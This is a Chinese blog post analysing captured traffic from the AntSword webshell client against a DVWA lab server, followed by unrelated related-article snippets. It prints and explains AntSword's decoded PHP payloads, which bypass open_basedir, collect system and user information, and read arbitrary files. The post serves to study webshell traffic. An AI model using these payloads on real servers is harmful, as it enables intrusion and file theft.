中国蚁剑的工作原理

news2025/4/13 0:28:42
  1. 中国蚁剑连接http://192.168.11.157/dvwa/hackable/uploads/pass.php

  1. 蚁剑连接并同时用wireshark抓取流量

  1. 1274 行,追踪tcp流

  1. 因为我们的php.php内容是 $_POST['pass'],所以这里是post了一个pass参数,后面跟上了命令。通过站长工具-URL解码/编码 (wetimer.com)url解码、PHP格式化,在线美化PHP代码-站长工具 (senlt.cn)看一下:

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        };
        $tmdir=$item."/.4044a0d3a48";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<sizeof($cntarr);$i++) {
            @chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;

function asenc($out) {
    return $out;
};

function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "e7986"."0ff41";
    echo @asenc($output);
    echo "e7a7"."504c";
}
ob_start();
try {
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
        $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}    ";
    if(substr($D,0,1)!="/") {
        foreach(range("C","Z")as $L)
            if(is_dir("{$L}:"))
                $R.="{$L}:";
    } else {
        $R.="/";
    }
    $R.="   ";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="   {$s}";
    echo $R;;
} catch(Exception $e) {
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

从上往下分析:

@ini_set(“display_errors”, “0”);是临时关闭PHP的错误显示功能

@set_time_limit(0);是设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时

asenc函数:简单的接收参数然后直接返回

asoutput函数:先用ob_get_contents得到缓冲区的数据。然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭。然后把接收到的缓冲区数据输出

ob_start()是在服务器打开一个缓冲区来保存所有的输出

try里面:

$_SERVER[“SCRIPT_FILENAME”]是获取当前执行脚本的绝对路径。

dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。

如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。

然后把获取到的$D加上TAB赋值给$R

然后下面的if:

先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。

假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。

然后就是判断posix_getegid函数是否存在,如果存在posix_getegid函数存在就获取信息赋值给$u,否则$u为空

然后下面判断$u是否为空,假如不为空就获取键值为name的值给$s,否则用get_current_user函数获取当前PHP脚本所有者的名称赋值给$s。

然后用 php_uname 函数获取 有关正在运行的操作系统PHP的信息,并将其添加在$R后面,然后把上面获取的$s也添加在$R后面。然后输出$R。

假如出错就返回错误信息:

再看一下数据包返回信息,就理解了上面这些代码是干嘛的:

当前执行脚本所在的路径 正在运行的操作系统PHP的信息 当前PHP脚本所有者的名称

  1. 1281行,打开了一个php文件,看一下发送的指令:

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        };
        $tmdir=$item."/.f01ac485ec";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<sizeof($cntarr);$i++) {
            @chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;

function asenc($out) {
    return $out;
};

function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "4a1"."c31";
    echo @asenc($output);
    echo "503d"."eaf6";
}
ob_start();
try {
    $F=base64_decode(substr($_POST["u928cced13ca85"],2));
    $P=@fopen($F,"r");
    echo(@fread($P,filesize($F)?filesize($F):4096));
    @fclose($P);;
} catch(Exception $e) {
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&u928cced13ca85=RNL3Zhci93d3cvZHZ3YS9oYWNrYWJsZS91cGxvYWRzL3Bhc3MucGhw

看下try里面的内容:

将从POST传过来的u928cced13ca85变量去掉前2个字符后再进行base64解码赋值给$F:

然后用只读的方式打开文件,然后读文件,假如文件大小为空就默认读4096字节,然后关闭文件流:

在最后,传了上面所说的奇怪变量名参数u928cced13ca85

base64解码看看:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/158734.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

15.Isaac教程--Isaac机器人引擎简介

Isaac机器人引擎简介 ISAAC教程合集地址: https://blog.csdn.net/kunhe0512/category_12163211.html 文章目录Isaac机器人引擎简介基础Codelets完整的应用基础 本节介绍如何使用 Isaac 机器人引擎。 它介绍了相关术语并解释了 Isaac 应用程序的结构。 Isaac 应用程序由 JavaS…

卫星AIS接收机

1.设备简介星载AIS模块&#xff0c;专门针对小卫星设计的AIS载荷&#xff0c;设计时考虑到CubeSat的尺寸、重量和功率限制&#xff0c;也可以作为较大的LEO卫星上的有效载荷。2.产品特征独立4信道AIS接收机集成LNA和SAW滤波器AIS帧的数据存储支持频谱样本采集安全在轨软件升级支…

【Wiki】XWiki安装教程_War包版本

目录0、XWiki说明1、war包安装说明1.1、环境说明1.2、如果懒得下载可以使用这边准备好的物料包汇总2、war包安装2.1、Tomcat安装2.2、java安装(需要root权限)2.3 、使用 source /etc/profile 刷新linux配置2.4、数据库安装2.5、解压war包与xip2.6、修改配置文件2.6.1、修改WEB-…

mysql快速生成100W条测试数据(4)全球各城市房价和销售数据并存入mysql数据库

首先这个就是我们需要生成的数据类型&#xff0c;这种只是我们用于测试以及学习时候使用&#xff0c;主要就是全球城市房价的均值和一些虚拟的销售数据 这是之前的文章里面包含一些以前的一些操作流程可以进行参考学习 更加详细操作步骤在第一篇文章里面 mysql快速生成100W条测…

Speckle Revit连接器使用教程

Speckle Revit 连接器目前支持 Autodesk Revit 2020、2021、2022 和 &#x1f195;2023。 1、安装Speckle revit连接器 要安装 Revit 连接器并添加 Speckle 帐户&#xff0c;请按照 Speckle 管理器中的说明进行操作。 安装后&#xff0c;可以在Speckle选项卡下的功能区菜单中…

一个前端大神电脑里的秘密

前言作为前端仔&#xff0c;当你入职一家公司&#xff0c;拿到新发的电脑&#xff0c;你会对电脑干点啥&#xff0c;装开发环境&#xff1f;装软件&#xff1f;你是否铺天盖地到处找之前电脑备份的东西&#xff1f;又或者是想不起来有什么上一台电脑好用的软件叫什么名&#xf…

KT148A语音芯片420s秒的语音空间是什么意思,mp3文件支持多大

一、问题简介 我想问一下KT148A这个芯片真的能存420秒的语音么&#xff1f;我随便一个5秒的语音mp3格式都65k了&#xff0c;如果是这样的话 那我的mp3的源文件在最小的采样率和最小码率的情况下 mp3文件可以支持多大&#xff1f;有没有实际测试的数据&#xff0c;使用的是一线串…

【可解释性机器学习】可解释机器学习简介与特征选择方法

特征选择&#xff1a;Feature Importance、Permutation Importance、SHAP1. Introduction什么是可解释机器学习&#xff08;Explainable ML&#xff09;&#xff1f;为什么需要Explainable ML?直接使用一些可以interpretable的模型不好吗&#xff1f;2. Local Explanation方法…

Homekit智能家居DIY-智能吸顶灯

灯要看什么因素 照度 可以简单理解为清晰度&#xff0c;复杂点套公式来说照度光通量&#xff08;亮度&#xff09;单位面积&#xff0c;简单理解的话就是越靠近灯光&#xff0c;看的就越清楚&#xff0c;是个常识性问题。 不同房间户型对照度的要求自然不尽相同&#xff0c;…

http协议之Range

http协议中可能会遇到&#xff1a;请求取消或数据传输中断&#xff0c;这时客户端已经收到了部分数据&#xff0c;后面再请求时最好能请求剩余部分&#xff08;断点续传&#xff09;&#xff1b;或者&#xff0c;对于某个较大的文件&#xff0c;能够支持客户端多线程分片下载..…

某集团汽车配件电子图册性能分析案例(三)

背景 汽车配件电子图册系统是某汽车集团的重要业务系统。业务部门反映&#xff0c;汽车配件电子图册调用图纸时&#xff0c;出现访问慢现象。 汽车集团总部已部署NetInside流量分析系统&#xff0c;使用流量分析系统提供实时和历史原始流量。本次分析重点针对汽车配件电子图册…

web服务器、中间件和他们的漏洞

目录 Nginx Apache Tomcat IIS 漏洞 Apache解析漏洞 文件名解析漏洞 罕见后缀 .htaccess文件 Ngnix解析漏洞 畸形解析漏洞(test.jpg/*.php) %00空字节代码解析漏洞 CVE-2013-4547(%20%00) IIS解析漏洞 目录解析漏洞(/test.asp/1.jpg) 文件名解析漏洞(test.asp;…

想转行没方向,PMP证书用处大吗?

当下了要转行的决心&#xff0c;你又陷入另一种焦虑中——怎么转&#xff1f;毕竟“隔行如隔山”。要知道缺乏经验&#xff0c;你要面对的是旷日持久的努力、未知的付出和回报转换率。 但别忘了&#xff0c;在山与山之间&#xff0c;有一些纵横交错的道路相连&#xff0c;可以…

详解SpringMVC

1.DispatcherServlet初始化时机 DispatcherServlet是由spring创建的&#xff0c;初始化是由Tomcat完成的&#xff0c;通过setLoadOnStartup来决定是否为tomcat启动时初始化 Configuration ComponentScan // 没有设置扫描包的话默认扫描当前配置的包及其子包 PropertySource(&…

verilog学习笔记- 11)按键控制蜂鸣器实验

简介&#xff1a; 蜂鸣器按照驱动方式主要分为有源蜂鸣器和无源蜂鸣器&#xff0c;其主要区别为蜂鸣器内部是否含有震荡源。一般的有源蜂鸣器内部自带了震荡源&#xff0c;只要通电就会发声。而无源蜂鸣器由于不含内部震荡源&#xff0c;需要外接震荡信号才能发声。 左边为有源…

JAVA JVM学习

1.JVM介绍 越界检查肯定有用&#xff0c;防止覆盖别的地方的代码。 JVM来评价java在底层操作系统的差异。 2.程序计数器 我们java源代码会变成一条一条jvm指令。 在物理上实现程序计数器&#xff0c;是用一个寄存器。这样速度更快。 程序计数器不会内存溢出 2.1 线程私有 …

clickhouse整合ldap,无需重启

测试你的ladp服务ldapsearch -x-bdcexample,dccom -H ldap://ldap.forumsys.com应该输出类似以下的内容# extended LDIF # # LDAPv3 # base <dcexample,dccom> with scope subtree # filter: (objectclass*) # requesting: ALL # ​ # example.com dn: dcexample,dccom o…

【Premake】构建工程

Premake 一、什么是Premake&#xff1f; Premake 是一种命令工具&#xff0c;通过读取项目脚本&#xff0c;来生成各种开发环境的项目文件。 开源地址&#xff1a;https://github.com/premake/premake-core 下载地址&#xff1a;https://premake.github.io 实例地址&#xf…

揭秘HTTP/3优先级

编者按 / 相对于HTTP2&#xff0c;HTTP/3的优先级更加简单&#xff0c;浏览器厂商更可能实现统一的优先级策略。本文来自老朋友Robin Marx&#xff0c;已获授权转载&#xff0c;感谢刘连响对本文的技术审校。翻译 / 核子可乐技术审校 / 刘连响原文链接 / https://calendar.per…

【MySQL数据库入门】:面试中常遇到的 ‘ 数据类型 ’

文章目录数据类型1.数据类型分类2.数值类型2.1 tinyint类型2.2 bit类型2.3 小数类型2.3.1 float2.3.2 decimal3.字符串类型3.1 char3.2 varchar3.3 char和varchar比较4.日期和时间类型5.enum和set数据类型 1.数据类型分类 2.数值类型 2.1 tinyint类型 create table tt1(num t…